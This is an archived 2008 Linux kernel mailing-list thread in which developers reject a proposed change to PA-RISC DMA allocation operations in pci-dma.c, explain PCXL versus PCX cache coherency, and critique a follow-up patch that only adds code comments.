Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id ABADB49400C; Mon, 11 Feb 2008 09:42:15 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <47B07685.5000606@tiscali.nl>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:101 gmane.linux.kernel:637927
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/101>

On Mon, Feb 11, 2008 at 05:23:33PM +0100, Roel Kluin wrote:
> duplicate pa11_dma_alloc_consistent; more appropriate appears
> pa11_dma_alloc_noncoherent here. 
> 
> Not tested, please confirm that this fix is correct

I don't think it is.  The memories are fading, so I don't recall why it
is we do it this way, but I'm pretty sure it's correct the way it is.

-- 
Intel are signing my paycheques ... these opinions are still mine
"Bill, look, we understand that you're interested in selling us this
operating system, but compare it to ours.  We can't possibly take such
a retrograde step."

From - Thu Nov 08 21:01:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH?][arch/parisc/kernel/pci-dma.c]
	pcxl_dma_ops.alloc_noncoherent = pa11_dma_alloc_consistent?
Date: Mon, 11 Feb 2008 10:45:49 -0600
Lines: 13
Approved: news@gmane.org
Message-ID: <1202748349.3122.31.camel@localhost.localdomain>
References: <47B07685.5000606@tiscali.nl>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1202748384 26265 80.91.229.12 (11 Feb 2008 16:46:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 11 Feb 2008 16:46:24 +0000 (UTC)
Cc: kyle@parisc-linux.org, Matthew Wilcox <matthew@wil.cx>,
	grundler@parisc-linux.org, linux-parisc@vger.kernel.org,
	lkml <linux-kernel@vger.kernel.org>
To: Roel Kluin <12o3l@tiscali.nl>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 11 17:46:36 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JObnZ-0003gq-86
	for glpp-linux-parisc@gmane.org; Mon, 11 Feb 2008 17:46:29 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757266AbYBKQp6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 11 Feb 2008 11:45:58 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753244AbYBKQp6
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 11 Feb 2008 11:45:58 -0500
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:46355 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1757340AbYBKQp5 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 11 Feb 2008 11:45:57 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 15C228974;
	Mon, 11 Feb 2008 10:45:52 -0600 (CST)
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id l6CHChdSakmw; Mon, 11 Feb 2008 10:45:50 -0600 (CST)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 256227FA5;
	Mon, 11 Feb 2008 10:45:50 -0600 (CST)
In-Reply-To: <47B07685.5000606@tiscali.nl>
X-Mailer: Evolution 2.12.3 (2.12.3-1.fc8) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:102 gmane.linux.kernel:637931
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/102>


On Mon, 2008-02-11 at 17:23 +0100, Roel Kluin wrote:
> duplicate pa11_dma_alloc_consistent; more appropriate appears
> pa11_dma_alloc_noncoherent here. 
> 
> Not tested, please confirm that this fix is correct

No, it looks completely incorrect to me.  What makes you think a pcxl
box has a problem with coherency?

James



From - Thu Nov 08 21:01:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Roel Kluin <12o3l@tiscali.nl>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH?][arch/parisc/kernel/pci-dma.c] pcxl_dma_ops.alloc_noncoherent
 = pa11_dma_alloc_consistent?
Date: Mon, 11 Feb 2008 17:45:56 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <47B07BC4.9010901@tiscali.nl>
References: <47B07685.5000606@tiscali.nl> <20080211164215.GM5299@parisc-linux.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1202748441 26495 80.91.229.12 (11 Feb 2008 16:47:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 11 Feb 2008 16:47:21 +0000 (UTC)
Cc: kyle@parisc-linux.org, grundler@parisc-linux.org,
	linux-parisc@vger.kernel.org, lkml <linux-kernel@vger.kernel.org>
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1759154AbYBKQqa@vger.kernel.org Mon Feb 11 17:47:42 2008
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1759154AbYBKQqa@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JOboT-00042B-BK
	for glk-linux-kernel-3@gmane.org; Mon, 11 Feb 2008 17:47:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759154AbYBKQqa (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 11 Feb 2008 11:46:30 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758853AbYBKQqG
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Mon, 11 Feb 2008 11:46:06 -0500
Original-Received: from smtp-out3.tiscali.nl ([195.241.79.178]:53797 "EHLO
	smtp-out3.tiscali.nl" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758810AbYBKQqF (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Mon, 11 Feb 2008 11:46:05 -0500
Original-Received: from [82.171.187.43] (helo=[192.168.1.2])
	by smtp-out3.tiscali.nl with esmtp (Tiscali http://www.tiscali.nl)
	id 1JObn7-0000iR-Oz; Mon, 11 Feb 2008 17:46:01 +0100
User-Agent: Thunderbird 2.0.0.9 (X11/20071031)
In-Reply-To: <20080211164215.GM5299@parisc-linux.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:637932 gmane.linux.ports.parisc:103
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/103>

Matthew Wilcox wrote:
> On Mon, Feb 11, 2008 at 05:23:33PM +0100, Roel Kluin wrote:
>> duplicate pa11_dma_alloc_consistent; more appropriate appears
>> pa11_dma_alloc_noncoherent here. 
>>
>> Not tested, please confirm that this fix is correct
> 
> I don't think it is.  The memories are fading, so I don't recall why it
> is we do it this way, but I'm pretty sure it's correct the way it is.
> 
Maybe this helps a bit: later I found that something similar occurs in 
drivers/parisc/{ccio-dma.c, sba_iommu.c}:

1010: .alloc_consistent =     ccio_alloc_consistent,
      .alloc_noncoherent =    ccio_alloc_consistent,

1036: .alloc_consistent =     sba_alloc_consistent,
      .alloc_noncoherent =    sba_alloc_consistent,

However in these files the functions {ccio_alloc, sba_alloc}_noncoherent
do not exist.

From - Thu Nov 08 21:01:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH?][arch/parisc/kernel/pci-dma.c]
	pcxl_dma_ops.alloc_noncoherent = pa11_dma_alloc_consistent?
Date: Mon, 11 Feb 2008 10:55:04 -0600
Lines: 23
Approved: news@gmane.org
Message-ID: <1202748904.3122.37.camel@localhost.localdomain>
References: <47B07685.5000606@tiscali.nl>
	 <20080211164215.GM5299@parisc-linux.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1202748940 28458 80.91.229.12 (11 Feb 2008 16:55:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 11 Feb 2008 16:55:40 +0000 (UTC)
Cc: Roel Kluin <12o3l@tiscali.nl>, kyle@parisc-linux.org,
	grundler@parisc-linux.org, linux-parisc@vger.kernel.org,
	lkml <linux-kernel@vger.kernel.org>
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 11 17:56:02 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JObwd-0007Pc-5k
	for glpp-linux-parisc@gmane.org; Mon, 11 Feb 2008 17:55:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751544AbYBKQzN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 11 Feb 2008 11:55:13 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1759040AbYBKQzN
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 11 Feb 2008 11:55:13 -0500
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:43949 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751544AbYBKQzL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 11 Feb 2008 11:55:11 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id A36DC8969;
	Mon, 11 Feb 2008 10:55:08 -0600 (CST)
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 38eVLOUi2aZD; Mon, 11 Feb 2008 10:55:05 -0600 (CST)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 745457FA5;
	Mon, 11 Feb 2008 10:55:05 -0600 (CST)
In-Reply-To: <20080211164215.GM5299@parisc-linux.org>
X-Mailer: Evolution 2.12.3 (2.12.3-1.fc8) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:104 gmane.linux.kernel:637939
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/104>


On Mon, 2008-02-11 at 09:42 -0700, Matthew Wilcox wrote:
> On Mon, Feb 11, 2008 at 05:23:33PM +0100, Roel Kluin wrote:
> > duplicate pa11_dma_alloc_consistent; more appropriate appears
> > pa11_dma_alloc_noncoherent here. 
> > 
> > Not tested, please confirm that this fix is correct
> 
> I don't think it is.  The memories are fading, so I don't recall why it
> is we do it this way, but I'm pretty sure it's correct the way it is.

dma_alloc_noncoherent is a fallback for boxes with coherency problems
which cannot allocate coherent memory.  The API asks for coherent memory
but the driver promises to behave correctly even if an incoherent area
is returned.  dma_alloc_coherent() requires only coherent memory.  The
pcx boxes (PA7200 and below) can't do the uncached trick for coherent
memory, so the API is designed for them.  The PCXL can, so we allocate
coherent memory even for dma_alloc_noncoherent() in that case (and nop
out the coherency handlers the driver uses).

James



From - Thu Nov 08 21:01:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Roel Kluin <12o3l@tiscali.nl>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH?][arch/parisc/kernel/pci-dma.c]	pcxl_dma_ops.alloc_noncoherent
 = pa11_dma_alloc_consistent?
Date: Mon, 11 Feb 2008 17:57:26 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <47B07E76.9000100@tiscali.nl>
References: <47B07685.5000606@tiscali.nl> <1202748349.3122.31.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1202749079 29033 80.91.229.12 (11 Feb 2008 16:57:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 11 Feb 2008 16:57:59 +0000 (UTC)
Cc: kyle@parisc-linux.org, Matthew Wilcox <matthew@wil.cx>,
	grundler@parisc-linux.org, linux-parisc@vger.kernel.org,
	lkml <linux-kernel@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 11 17:58:22 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JObym-0008KT-Vl
	for glpp-linux-parisc@gmane.org; Mon, 11 Feb 2008 17:58:05 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758934AbYBKQ5e (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 11 Feb 2008 11:57:34 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758838AbYBKQ5e
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 11 Feb 2008 11:57:34 -0500
Original-Received: from smtp-out3.tiscali.nl ([195.241.79.178]:58180 "EHLO
	smtp-out3.tiscali.nl" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758251AbYBKQ5c (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 11 Feb 2008 11:57:32 -0500
X-Greylist: delayed 687 seconds by postgrey-1.27 at vger.kernel.org; Mon, 11 Feb 2008 11:57:32 EST
Original-Received: from [82.171.187.43] (helo=[192.168.1.2])
	by smtp-out3.tiscali.nl with esmtp (Tiscali http://www.tiscali.nl)
	id 1JObyE-0004DQ-1b; Mon, 11 Feb 2008 17:57:30 +0100
User-Agent: Thunderbird 2.0.0.9 (X11/20071031)
In-Reply-To: <1202748349.3122.31.camel@localhost.localdomain>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:105 gmane.linux.kernel:637942
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/105>

James Bottomley wrote:
> On Mon, 2008-02-11 at 17:23 +0100, Roel Kluin wrote:
>> duplicate pa11_dma_alloc_consistent; more appropriate appears
>> pa11_dma_alloc_noncoherent here. 
>>
>> Not tested, please confirm that this fix is correct
> 
> No, it looks completely incorrect to me.  What makes you think a pcxl
> box has a problem with coherency?

Ok, please ignore the patch then. It just appeared suspicious to me
that the function did exist, but the names assigned were different.

From - Thu Nov 08 21:01:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH?][arch/parisc/kernel/pci-dma.c]      pcxl_dma_ops.alloc_noncoherent
Date: Mon, 11 Feb 2008 12:08:51 -0500 (EST)
Lines: 19
Approved: news@gmane.org
Message-ID: <200802111708.m1BH8q3p008073@hiauly1.hia.nrc.ca>
References: <47B07E76.9000100@tiscali.nl>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1202752511 10871 80.91.229.12 (11 Feb 2008 17:55:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 11 Feb 2008 17:55:11 +0000 (UTC)
Cc: James.Bottomley@HansenPartnership.com, kyle@parisc-linux.org,
	matthew@wil.cx, grundler@parisc-linux.org,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: 12o3l@tiscali.nl (Roel Kluin)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 11 18:55:33 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JOcsH-0008B4-3W
	for glpp-linux-parisc@gmane.org; Mon, 11 Feb 2008 18:55:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752001AbYBKRyr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 11 Feb 2008 12:54:47 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754458AbYBKRyr
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 11 Feb 2008 12:54:47 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3332 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752001AbYBKRyq (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 11 Feb 2008 12:54:46 -0500
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1) with ESMTP id m1BHraQ8009745;
	Mon, 11 Feb 2008 12:53:41 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1/Submit) id m1BH8q3p008073;
	Mon, 11 Feb 2008 12:08:52 -0500 (EST)
In-Reply-To: <47B07E76.9000100@tiscali.nl> from "Roel Kluin" at Feb 11, 2008 05:57:26 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:106 gmane.linux.kernel:637981
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/106>

> James Bottomley wrote:
> > On Mon, 2008-02-11 at 17:23 +0100, Roel Kluin wrote:
> >> duplicate pa11_dma_alloc_consistent; more appropriate appears
> >> pa11_dma_alloc_noncoherent here. 
> >>
> >> Not tested, please confirm that this fix is correct
> > 
> > No, it looks completely incorrect to me.  What makes you think a pcxl
> > box has a problem with coherency?
> 
> Ok, please ignore the patch then. It just appeared suspicious to me
> that the function did exist, but the names assigned were different.

How about a comment?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

From - Thu Nov 08 21:01:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Roel Kluin <12o3l@tiscali.nl>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH?][arch/parisc/kernel/pci-dma.c]      pcxl_dma_ops.alloc_noncoherent
Date: Mon, 11 Feb 2008 19:56:10 +0100
Lines: 47
Approved: news@gmane.org
Message-ID: <47B09A4A.3030907@tiscali.nl>
References: <200802111708.m1BH8q3p008073@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1202756202 25411 80.91.229.12 (11 Feb 2008 18:56:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 11 Feb 2008 18:56:42 +0000 (UTC)
Cc: James.Bottomley@HansenPartnership.com, kyle@parisc-linux.org,
	matthew@wil.cx, grundler@parisc-linux.org,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 11 19:57:04 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JOdpr-0006pk-0r
	for glpp-linux-parisc@gmane.org; Mon, 11 Feb 2008 19:56:59 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752037AbYBKS43 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 11 Feb 2008 13:56:29 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751913AbYBKS42
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 11 Feb 2008 13:56:28 -0500
Original-Received: from smtp-out2.tiscali.nl ([195.241.79.177]:46534 "EHLO
	smtp-out2.tiscali.nl" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751387AbYBKS41 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 11 Feb 2008 13:56:27 -0500
Original-Received: from [82.171.187.43] (helo=[192.168.1.2])
	by smtp-out2.tiscali.nl with esmtp (Tiscali http://www.tiscali.nl)
	id 1JOdp9-0005k8-3E; Mon, 11 Feb 2008 19:56:15 +0100
User-Agent: Thunderbird 2.0.0.9 (X11/20071031)
In-Reply-To: <200802111708.m1BH8q3p008073@hiauly1.hia.nrc.ca>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:107 gmane.linux.kernel:638017
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/107>

John David Anglin wrote:
>> James Bottomley wrote:
>>> On Mon, 2008-02-11 at 17:23 +0100, Roel Kluin wrote:
>>>> duplicate pa11_dma_alloc_consistent; more appropriate appears
>>>> pa11_dma_alloc_noncoherent here. 
>>>>
>>>> Not tested, please confirm that this fix is correct
>>> No, it looks completely incorrect to me.  What makes you think a pcxl
>>> box has a problem with coherency?
>> Ok, please ignore the patch then. It just appeared suspicious to me
>> that the function did exist, but the names assigned were different.
> 
> How about a comment?

Based on James Bottomley's explanation maybe a comment like this?
---
Explain why dma_alloc_noncoherent is only used for boxes PA7200 and below

Signed-off-by: Roel Kluin <12o3l@tiscali.nl>
---
diff --git a/arch/parisc/kernel/pci-dma.c b/arch/parisc/kernel/pci-dma.c
index 9448d4e..fc3325a 100644
--- a/arch/parisc/kernel/pci-dma.c
+++ b/arch/parisc/kernel/pci-dma.c
@@ -567,6 +567,10 @@ static void *fail_alloc_consistent(struct device *dev, size_t size,
 	return NULL;
 }
 
+/*
+ * dma_alloc_noncoherent is a fallback for boxes PA7200 and below which
+ * cannot allocate coherent memory.
+ */
 static void *pa11_dma_alloc_noncoherent(struct device *dev, size_t size,
 					  dma_addr_t *dma_handle, gfp_t flag)
 {
@@ -586,6 +590,10 @@ static void pa11_dma_free_noncoherent(struct device *dev, size_t size,
 	return;
 }
 
+/*
+ * PCXL allocates coherent memory even for dma_alloc_noncoherent() due to the
+ * uncached trick for coherent memory.
+ */
 struct hppa_dma_ops pcx_dma_ops = {
 	.dma_supported =	pa11_dma_supported,
 	.alloc_consistent =	fail_alloc_consistent,


From - Thu Nov 08 21:01:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH?][arch/parisc/kernel/pci-dma.c]
	pcxl_dma_ops.alloc_noncoherent
Date: Mon, 11 Feb 2008 13:58:34 -0500
Lines: 27
Approved: news@gmane.org
Message-ID: <20080211185834.GB4516@phobos.i.cabal.ca>
References: <200802111708.m1BH8q3p008073@hiauly1.hia.nrc.ca> <47B09A4A.3030907@tiscali.nl>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1202756336 25903 80.91.229.12 (11 Feb 2008 18:58:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 11 Feb 2008 18:58:56 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	James.Bottomley@HansenPartnership.com, kyle@parisc-linux.org,
	matthew@wil.cx, grundler@parisc-linux.org,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: Roel Kluin <12o3l@tiscali.nl>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 11 19:59:17 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JOdrv-0007aH-8N
	for glpp-linux-parisc@gmane.org; Mon, 11 Feb 2008 19:59:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753740AbYBKS6h (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 11 Feb 2008 13:58:37 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752836AbYBKS6h
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 11 Feb 2008 13:58:37 -0500
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:24457 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751913AbYBKS6g (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 11 Feb 2008 13:58:36 -0500
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id DA46D17809A; Mon, 11 Feb 2008 13:58:34 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <47B09A4A.3030907@tiscali.nl>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:108 gmane.linux.kernel:638018
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/108>

On Mon, Feb 11, 2008 at 07:56:10PM +0100, Roel Kluin wrote:
> +/*
> + * dma_alloc_noncoherent is a fallback for boxes PA7200 and below which
> + * cannot allocate coherent memory.
> + */
>  static void *pa11_dma_alloc_noncoherent(struct device *dev, size_t size,
>  					  dma_addr_t *dma_handle, gfp_t flag)
>  {

Why? This is located below pcxl_dma_ops so its obviously only relevant
for pcx.

> @@ -586,6 +590,10 @@ static void pa11_dma_free_noncoherent(struct device *dev, size_t size,
>  	return;
>  }
>  
> +/*
> + * PCXL allocates coherent memory even for dma_alloc_noncoherent() due to the
> + * uncached trick for coherent memory.
> + */

This isn't correct either.

>  struct hppa_dma_ops pcx_dma_ops = {
>  	.dma_supported =	pa11_dma_supported,
>  	.alloc_consistent =	fail_alloc_consistent,
> 

From - Thu Nov 08 21:01:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH?][arch/parisc/kernel/pci-dma.c]
	pcxl_dma_ops.alloc_noncoherent = pa11_dma_alloc_consistent?
Date: Mon, 11 Feb 2008 14:10:46 -0500
Lines: 69
Approved: news@gmane.org
Message-ID: <20080211191046.GD4516@phobos.i.cabal.ca>
References: <47B07685.5000606@tiscali.nl>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1202757061 29032 80.91.229.12 (11 Feb 2008 19:11:01 GMT)
